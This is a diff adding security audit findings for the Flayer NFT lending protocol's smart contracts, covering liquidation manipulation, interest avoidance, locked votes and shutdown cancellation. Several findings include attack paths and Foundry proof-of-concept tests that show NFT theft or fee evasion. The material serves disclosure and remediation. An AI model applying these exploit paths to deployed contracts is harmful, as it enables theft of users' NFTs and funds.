+ this function is used to check the the protected listing health in `getProtectedListingHealth` that used in `liquidateProtectedListing` An exploitation of the direct relation between the totalsupply and the liquidation is possible by a malicious user who owns half of the **NFTs**. The user can performs an action that causes the liquidation of the positions of the other participants and receives the `KEEPER_REWARD` for being a keeper for initiating the liquidation process. In addition, the user can buy up the one that had its **NFT** liquidated at an auction at a discount price which increases their gain.
+
+## Impact
+The impact of this vulnerability is that it allows a user to exploit the system to force protected listings into liquidation. This can lead to losses for other users whose listings are liquidated. It undermines the stability and fairness of the protocol by enabling manipulative tactics.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607-L617
+## Tool used
+
+Manual Review
+
+## Recommendation
+use fees in deposit and redeem
\ No newline at end of file
diff --git a/001/478.md b/001/478.md
new file mode 100644
index 0000000..ccc52b4
--- /dev/null
+++ b/001/478.md
@@ -0,0 +1,72 @@
+Muscular Pebble Walrus
+
+Medium
+
+# Missing `createCheckpoint()` call at the end of the reserve()
+
+## Summary
+Missing `createCheckpoint()` call at the end of the reserve()
+
+## Vulnerability Detail
+`createCheckpoint()` updates the checkpoint, which calculates the `utilizationRate` that depends on the `totalSupply` of the collectionToken.
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+//
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+> uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+
+In reserve(), it calls `protectedListing:createListings()`, which creates a checkPoint but the problem is, its not updated because if we see below the createListings(), we are `burning` collectionToken and we saw above that `utilizationRate` is dependent on `totalSupply` of the collectionToken.
+```solidity
+function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+//
+ // We can now pull in the tokens from the Locker
+ locker.withdrawToken(_collection, _tokenId, address(this));
+ IERC721(_collection).approve(address(protectedListings), _tokenId);
+
+ // Create a protected listing, taking only the tokens
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+> protectedListings.createListings(createProtectedListing);
+
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+> collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+//
+ }
+```
+## Impact
+Whenever a token is reserved, it will not correctly update the utilizationRate
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261C1-L278C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L750C8-L756C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Call createCheckpoint() at the end of the reserve()
\ No newline at end of file
diff --git a/001/479.md b/001/479.md
new file mode 100644
index 0000000..40bac12
--- /dev/null
+++ b/001/479.md
@@ -0,0 +1,125 @@
+Curved Rusty Parrot
+
+Medium
+
+# User can pay almost no interest if he first pays most of the debt through ProtectedListings.sol#adjustPosition()
+
+### Summary
+
+When you've created a protected listing, the token you've taken against is debt and **accrues interest over time**.
+You can use the `adjustPosition()` to repay most of the debt and then unlock it via `unlockProtectedListing()`, the latter actually gives it back and calculates interest, but it calculates it on the `tokenTaken` property, which can be repaid to a big extent (almost 100%) without interest in `adjustPosition()`.
+
+### Root Cause
+
+This logic accounts for interest/fee in unlockProtectedListing(), but it is missing in adjustPosition() -> https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L303-L305
+
+# The logic that's present in unlockProtectedListing(), but missing in adjustPosition
+
+``` solidity
+uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+collectionToken.burnFrom(msg.sender, fee);
+
+### Internal pre-conditions
+
+User needs to have a protected listing with token taken against the listing.
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+Steps:
+1. User A decides to lock his NFT and **create a protected listing** in return for collection tokens.
+2. Those collection tokens are **basically debt and debt accrues interest** over time.
+3. User A can repay **>95% of the debt interest free** in `adjustPosition()` first,
+ and then pay interest only on the remaining `tokenTaken` value in `unlockProtectedListing()`,
+ to unlock his NFT, with the interest being **times and times less interest** than intended
+
+### Impact
+
+The protocol will **burn less fees** (potentially tens of times or more) which in the long run may make the `collectionToken` less valuable due to dilution
+
+
+### PoC
+
+# POC is running in ProtectedListings.t.sol
+``` solidity
+function test_CanAvoidInterestWhenPayingPartially(address payable _owner, uint _tokenId) public {
+ // POC in steps
+ // 1. User A locks his protected listings for tokens
+ // 2. User A accrues interest as apparent in the docs and unlockProtectedListing()
+ // 3. User A decides to bypass this and pay >95% of his debt in the adjustPosition()
+ // because in this function there's no accounting for the interest as in the unlockProtectedListing()
+ // 4. User A can pay >95% his debt interest fee in adjustPosition() and only invoke
+ // unlockProtectedListing() to pay the last <5% of the debt and the interest will be applied
+ // to this value (<5%), not on the initial taken, which is a serious issue because the interest will be
+ // applied on a very small value
+
+ _assumeValidTokenId(_tokenId);
+
+ _assumeValidAddress(_owner);
+
+ erc721a.mint(_owner, _tokenId);
+
+ vm.prank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.65 ether,
+ checkpoint: 0
+ });
+
+ // Create our listing
+ vm.startPrank(_owner);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 5 days);
+
+ vm.startPrank(address(listings));
+
+ protectedListings.createCheckpoint(address(erc721a));
+
+ vm.stopPrank();
+ vm.startPrank(_owner);
+
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), 0.625 ether);
+ // 0.65 ether
+ console.log(locker.collectionToken(address(erc721a)).balanceOf(_owner));
+
+ // repaying debt
+ protectedListings.adjustPosition(address(erc721a), _tokenId, -0.625 ether);
+ // 0.025 ether and interest on the 0.025 ether
+ uint unlockPriceBefore = protectedListings.unlockPrice(address(erc721a), _tokenId);
+
+ // taking debt
+ protectedListings.adjustPosition(address(erc721a), _tokenId, 0.625 ether);
+ // 0.65 ether and interest on the 0.65 ether
+ uint unlockPriceAfter = protectedListings.unlockPrice(address(erc721a), _tokenId);
+
+ // 0.65 ether
+ console.log(locker.collectionToken(address(erc721a)).balanceOf(_owner));
+
+ // We can see a smaller price due to less interest,
+ // for unlocking the NFT is we have paid 0.625 ether partially
+
+ // Feel free to log the data, the interest accrued in the unlockPriceBefore
+ // is >x20 times than the interest in unlockPriceAfter (interest -> the value above 0.65 ether)
+
+ // So the fee will be times and times less than if I try to pay it all on one go
+ assertNotEq(unlockPriceBefore + 0.625 ether, unlockPriceAfter);
+ }
+
+### Mitigation
+
+Account for interest/fee in `adjustPosition()` as well
\ No newline at end of file
diff --git a/001/481.md b/001/481.md
new file mode 100644
index 0000000..0901a0b
--- /dev/null
+++ b/001/481.md
@@ -0,0 +1,50 @@
+Muscular Pebble Walrus
+
+Medium
+
+# Users vote will be locked in CollectionShutdown.sol if the collection is cancelled
+
+## Summary
+Users vote will be locked in CollectionShutdown.sol if the collection is cancelled
+
+## Vulnerability Detail
+Users should reclaim their votes ie collectionToken, if collection is cancelled. But they can't due to arithmetic underflow.
+
+When a user votes, its vote get stored in `shutdownVotes` of _collectionParams mapping. But the problem is when a collection is cancelled, it deletes the _collectionParams mapping.
+```solidity
+function cancel(address _collection) public whenNotPaused {
+//
+ // Remove our execution flag
+> delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+So, when user try to reclaim their votes, it subtracts their votes from `shutdownVotes`(which is 0 because cancel() deletes the _collectionParams mapping)
+```solidity
+function reclaimVote(address _collection) public whenNotPaused {
+//
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+> params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+//
+ }
+```
+
+## Impact
+reclaimVotes() will revert, locking users collectionToken in the contract
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356C5-L378C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Instead of deleting whole _collectionParams mapping in cancel(), delete it in reclaimVotes()
\ No newline at end of file
diff --git a/001/482.md b/001/482.md
new file mode 100644
index 0000000..fbddcf0
--- /dev/null
+++ b/001/482.md
@@ -0,0 +1,74 @@
+Funny Orange Turtle
+
+High
+
+# User might lost possibility to withdraw ERC721 token from the `Locker` contract
+
+## Summary
+
+`ProtectedListing` contract has a functionality to unlock listing which was earlier created by the user. To do this, user need to call `ProtectedListing::ulockProtectedListing` function. This function has input bool parameter `_withdraw`, which gives user two possibilities:
+
+1. `_withdraw` = true - ERC721 token will be withdraw to user immadietly,
+2. `_withdraw` = false - ERC721 token will stay in `Locker` contract, with possibility to withdraw later, token will be save in the mapping `canWithdrawAsset[_collection][_tokenId] = msg.sender;` as it belongs to the user.
+
+## Vulnerability Detail
+
+Assume Bob want to unlock listing without ERC721 withdraw (`_withdraw` = false). Bob calls `ProtectedListing::ulockProtectedListing` function. In this function, ERC721 is removed from `_protectedListings` mapping, so this token is no more marked as listed. Now, this token might be redeem or swap by Alice with `ProtectedListing::redeem` or `ProtectedListing::swap` functions. Both this functions has check if token is listed `ProtectedListing::isListed`, however token is not listed anymore. Alice redeem ERC721 which belongs to Bob.
+
+## Impact
+
+Bob won't be able to wihdraw his ERC721 token or other token beacuse of the mapping `canWithdrawAsset[_collection][_tokenId] = msg.sender`. Token id assigned to his addres is no more in the `Locker` contract and also this mapping do not allow to withdraw different ERC721.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L321
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add one more check to `Locker::isListing` function.
+
+```diff
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {ILocker} from '@flayer-interfaces/ILocker.sol';
+
+interface IProtectedListings {
+.
+.
+.
+- function canWithdrawAsset(address _collection, uint _tokenId) external returns (address owner_);
++ function canWithdrawAsset(address _collection, uint _tokenId) external view returns (address owner_);
+.
+.
+.
+}
+```
+
+````diff
+function isListing(address _collection, uint _tokenId) public view returns (bool) {
+ IListings _listings = listings;
+
+ // Check if we have a liquid or dutch listing
+ if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ // Check if we have a protected listing
+ if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ return false;
+
++ // Check if there is token to be withdraw later
++ if (_listings.protectedListing().canWithdrawAsset(_collection, _tokenId) != address(0)) {
++ return true;
++ }
+ }
+ ```
\ No newline at end of file
diff --git a/001/484.md b/001/484.md
new file mode 100644
index 0000000..9f1e251
--- /dev/null
+++ b/001/484.md
@@ -0,0 +1,70 @@
+Muscular Pebble Walrus
+
+Medium
+
+# Malicious user can cancel() already sunset collection using `vote()`
+
+## Summary
+Malicious user can cancel() already sunset collection using `vote()` as it doesn't check if collection is already sunset
+
+## Vulnerability Detail
+Let's go step by step
+1. Suppose a collection is already sunset/executed, therefore its `canExecute = false`
+```solidity
+function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+//
+ // Prevent the collection from being executed again
+> params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+2. Malicious user voted for that collection using vote(), that doesn't check if collection is already sunset. therefore it set the canExecute = true(because shutdownVotes are >= quorumVotes)
+```solidity
+function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+//
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+> params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+//
+ }
+```
+3. Malicious user then calls cancel(), and it will not revert because it only checks `canExecute = true` & deletes the `_collectionParams` mapping, which contains `availableClaim`(ETH amount)
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+> if (!params.canExecute) revert ShutdownNotReachedQuorum();
+//
+ // Remove our execution flag
+> delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+4. When users will try to claim their ETH, they will receive 0 ETH as availableClaim is 0 due to deletion of `_collectionParams` mapping
+```solidity
+function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+//
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+> uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+//
+ }
+```
+
+## Impact
+Users will lose their ETH
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285C5-L315C6
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390C5-L405C6
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L207C8-L212C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Don't allow to vote or cancel if collection is already sunset/executed
\ No newline at end of file
diff --git a/001/487.md b/001/487.md
new file mode 100644
index 0000000..fea31a9
--- /dev/null
+++ b/001/487.md
@@ -0,0 +1,90 @@
+Spare Infrared Gerbil
+
+Medium
+
+# Anyone can DOS `CollectionShutdown::preventShutdown()`
+
+### Summary
+
+The `CollectionShutdown::preventShutdown(...)` function can be called by a locker Manager to prevent shutdown of a particular collection, however anyone can DOS the function preventing manager from performing this action on a collection
+
+### Root Cause
+
+The `preventShutdown(...)` function ensure that a shutdown is not in process by checking the amount of `_collectionParams[_collection].shutdownVotes` is zero before it can proceed to prevent a colection from being shutdown.
+
+```solidity
+File: CollectionShutdown.sol
+415: function preventShutdown(address _collection, bool _prevent) public {
+416: // Make sure our user is a locker manager
+417: if (!locker.lockerManager().isManager(msg.sender)) revert ILocker.CallerIsNotManager();
+418:
+419: // Make sure that there isn't currently a shutdown in progress
+420: @> if (_collectionParams[_collection].shutdownVotes != 0) revert ShutdownProcessAlreadyStarted(); // @audit When the user calls start this is busted
+421:
+422: // Update the shutdown to be prevented
+423: shutdownPrevented[_collection] = _prevent;
+424: emit CollectionShutdownPrevention(_collection, _prevent);
+425: }
+```
+
+However, anyone can call [`CollectionShutdown::start(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L156) for a particular the moment the acquire the collection token and the they notice shutdown has not been prevented for the collection. When this happens `start(...)` calls [`_vote(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L191-L201) and the `shutdownVotes` for the collection is incremented by the users current collection token balance as shown below.
+
+```solidity
+File: CollectionShutdown.sol
+135: function start(address _collection) public whenNotPaused { // @audit does not check that the sweeper pool is created
+136: // Confirm that this collection is not prevented from being shutdown
+137: if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+SNIP ......
+154:
+155: // Cast our vote from the user
+156: @> _collectionParams[_collection] = _vote(_collection, params);
+157: }
+
+
+
+191: function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+
+SNIP .....
+
+198:
+199: // Register the amount of votes sent as a whole, and store them against the user
+200: @> params.shutdownVotes += uint96(userVotes);
+..........
+211: }
+212:
+213: return params;
+214: }
+
+```
+
+This is possible even if the user has 1 wei of the collection token to vote with. Hence the choice not to prevent shutdown at the ponint the collection created is problem
+
+### Internal pre-conditions
+
+Collection shutdown is not prevented when the collection is created in `Locker::createCollection(...)`
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- Alice creates a listing and receives the collection token
+- Cheaper Path
+ - sends 1 wei of the collection token to Bob or a different addres
+ - Bob calls `start()` with 1 wei
+- More expensive path
+ - Alice calls `start()` by herself with all her tokens
+- Locker manager calls `preventShutdown(...)` but the function reverts because shutdown has started
+
+### Impact
+
+Locker manager cannot prevent shutdown for collections
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider preventing shutdown at the point of deploying the the collection token
\ No newline at end of file
diff --git a/001/490.md b/001/490.md
new file mode 100644
index 0000000..d5c489b
--- /dev/null
+++ b/001/490.md
@@ -0,0 +1,62 @@
+Faithful Plum Robin
+
+Medium
+
+# Listings Contract will erroneously attempt to deposit fees and issue refunds when relisting a liquidated listing
+
+### Summary
+
+The lack of checks for liquidated listings in the relist function will cause incorrect fee deposits and refund attempts for the protocol as the Listings contract will process fees and refunds for already liquidated listings, which should not have associated fees.
+
+### Root Cause
+
+The root cause of this issue lies in the relist function of the Listings contract. This function does not differentiate between regular listings and liquidated listings when relisting and processing fees and refunds.
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672
+```solidity
+(uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+}
+```
+
+This code attempts to calculate and process a tax refund for the existing listing, without checking if it's a liquidated listing. For liquidated listings, there should be no tax to refund as they were created without any associated fees. It also attempts to deposit fee to the locker.
+
+Unlike the relisting process, the reserve and fill functions properly handle liquidation cases by checking the _isLiquidation flag, for example in the reserve function:
+```solidity
+if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+}
+```
+
+### Internal pre-conditions
+
+A protected listing needs to be liquidated, creating a liquidation listing.
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+A protected listing is liquidated, creating a liquidation listing with no associated fees.
+1. An actor calls the relist function for this liquidated listing.
+2. The relist function calls _resolveListingTax, which calculates fees and refunds without considering the listing's liquidated status.
+3. The function attempts to deposit fees to the locker and refund the user, despite no fees being associated with this liquidated listing, potentially using funds not associated with this listing.
+
+
+### Impact
+
+The protocol suffers from potential fund mismanagement. It may erroneously attempt to deposit fees that were never collected for this listing, and may attempt to issue refunds that were never paid. This could lead to unexpected behavior, including potential loss of funds for the protocol or other listings if the attempts succeed, or transaction failures if they don't.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the relist function to check if the listing being relisted is a liquidated listing.
\ No newline at end of file
diff --git a/001/492.md b/001/492.md
new file mode 100644
index 0000000..a33dbcb
--- /dev/null
+++ b/001/492.md
@@ -0,0 +1,83 @@
+Large Mauve Parrot
+
+High
+
+# NFTs in protected listings that are unlocked but not withdrawn can be stolen
+
+### Summary
+
+The function [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287) allows to withdraw NFTs at a later date when the `_withdraw` input variable is set to `false`. NFTs unlocked but waiting to be withdrawn can be redeem or swapped, effectively stealing them. This should not be possible as NFTs listed via protected listings are not meant to be traded or sold.
+
+### Root Cause
+
+The functions:
+- [Locker::swap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241)
+- [Locker::swapBatch()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L268)
+- [Locker::redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209)
+
+don't revert when the NFT an user is trying to get is an NFT that was in protected listing and is currently waiting to be withdrawn, ie. the functions don't revert when the variable `canWithdrawAsset[_collection][_tokenId]` is not `address(0)`.
+
+### Internal pre-conditions
+
+- Owner of a protected listing NFT needs to unlock an NFT by calling [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287) with the `_withdraw` input variable is set to `false`.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice unlocks an NFT with rare traits via [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287) with `_withdraw = false`.
+2. The protected listing is [deleted](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L314) but the NFT still in the locker contract.
+3. The protocol will consider the NFT as a floor item.
+4. Eve can steal Alice rares NFT by swapping it via a floor item NFT via [Locker::swap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241)/[Locker::swapBatch()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L268) or redeem it by paying 1 collection token (floor price) via [Locker::redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209).
+
+### Impact
+
+The affected party loses an NFT that was not supposed to be sold. The attacker gains an NFT that he was not supposed to get in exchange for either a floor NFT or 1 collection token.
+
+### PoC
+
+To copy-paste in `ProtectedListing.t.sol`:
+
+```solidity
+function test_ExCanUnlockProtectedListing() public {
+ uint _tokenId = 10;
+ uint96 _tokensTaken = 0.5e18;
+ address payable _owner = users[0];
+
+ erc721a.mint(_owner, _tokenId);
+ erc721a.mint(_owner, _tokenId + 1);
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: _tokensTaken,
+ checkpoint: 0
+ })
+ })
+ });
+
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);
+
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
+
+ erc721a.approve(address(locker), _tokenId + 1);
+ locker.swap(address(erc721a), _tokenId + 1, _tokenId);
+ vm.stopPrank();
+}
+```
+
+### Mitigation
+
+The functions:
+- [Locker::swap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241)
+- [Locker::swapBatch()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L268)
+- [Locker::redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209)
+
+should revert when `canWithdrawAsset[_collection][_tokenId]` is not `address(0)`.
\ No newline at end of file
diff --git a/001/494.md b/001/494.md
new file mode 100644
index 0000000..f5374bd
--- /dev/null
+++ b/001/494.md
@@ -0,0 +1,46 @@
+Large Mauve Parrot
+
+High
+
+# Quorum votes downcasting in `CollectionShutdown.sol` leads to lower quorum and stolen funds
+
+### Summary
+
+The [CollectionShutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol) contract uses a `uint88` variable to keep track of the amount of votes necessary to reach the quorum, but 88 bits are not enough. This makes it possible for the quorum to be downcasted, leading to the quorum being lower than expected and funds being stolen/lost.
+
+### Root Cause
+
+The quorum is calculated as [half the total supply](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150) of collection tokens.
+
+The maximum total supply possible when calculating the quorum is defined [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L147) and amounts to:
+
+$$\text{MAXSHUTDOWNTOKENS} \cdot 10^{\text{params.collectionToken.denomination()}} = (4 \cdot 10^{18}\cdot 10^{9}) = 4 \cdot 10^{27}$$
+
+Because the quorum is `50%`, the maximum possible quorum is `4e27/2` votes, which is bigger than `2^88` and thus risks of being downcasted.
+
+### Internal pre-conditions
+
+1. The supply of collection tokens when either [CollectionShutdown::start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135) or [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) is called must be greater than `2^88`. This is only possible for collections with a denomination of either `8` or `9`.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+There's two main impacts:
+
+1. If the quorum gets downcasted the amount of votes necessary to shutdown a collection will be lower than expected.
+2. Because [CollectionShutdown::claim()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310) uses the quorum as a denominator to determine the amount of ETH that can be claimed users who claim first will claim more than expected and steal funds from other collections shutdowns and/or future claimers.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use a bigger variable to hold the quorum votes, like `uint96`.
\ No newline at end of file
diff --git a/001/495.md b/001/495.md
new file mode 100644
index 0000000..f6d42a1
--- /dev/null
+++ b/001/495.md
@@ -0,0 +1,44 @@
+Large Mauve Parrot
+
+High
+
+# Voters can't withdraw their collection tokens after a shutdown is canceled
+
+### Summary
+
+Canceling a collection shutdown will prevent voters from claiming their votes, locking their collection tokens in the `CollectionShutdown` contract.
+
+### Root Cause
+
+The function [CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) deletes the whole `_collectionParams[_collection]` struct at the end of execution, including the `shutdownVotes` variable. This will prevent voters from reclaiming their collection tokens as the [reclaimVote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356) function will revert for underflow when lowering the `shutdownVotes` variable:
+```solidity
+params.shutdownVotes -= uint96(userVotes);
+```
+[CollectionShutdown.sol#L369](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369)
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A collection shutdown is started via [start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135)
+2. Users start voting via [vote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L175), locking up their collection tokens
+3. The total supply of collection tokens increases (ex. some ERC721 deposits are made) enough for [cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) to be called, which deletes the `shutdownVotes` variable
+4. The collection shutdown is canceled but users that voted cannot recover their tokens via [reclaimVote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356) as the call reverts
+
+### Impact
+
+Users that voted prior to canceling will lose their collection tokens.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In [cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) don't delete the `shutdownVotes` variable at the end of execution.
\ No newline at end of file
diff --git a/001/496.md b/001/496.md
new file mode 100644
index 0000000..a5d2550
--- /dev/null
+++ b/001/496.md
@@ -0,0 +1,55 @@
+Large Mauve Parrot
+
+High
+
+# It's possible to cancel a shutdown after it's been executed
+
+### Summary
+
+The function [CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) can be called after a shutdown has been executed via [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231), this should not be possible as outlined by the comment above the function:
+
+> If a shutdown flow has not been triggered and the total supply of the token has risen above the threshold, then this function can be called to remove the process and prevent execution.
+
+### Root Cause
+
+The function [CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) can only be executed when `params.canExecute` is set to `true`:
+
+```solidity
+if (!params.canExecute) revert ShutdownNotReachedQuorum();
+```
+
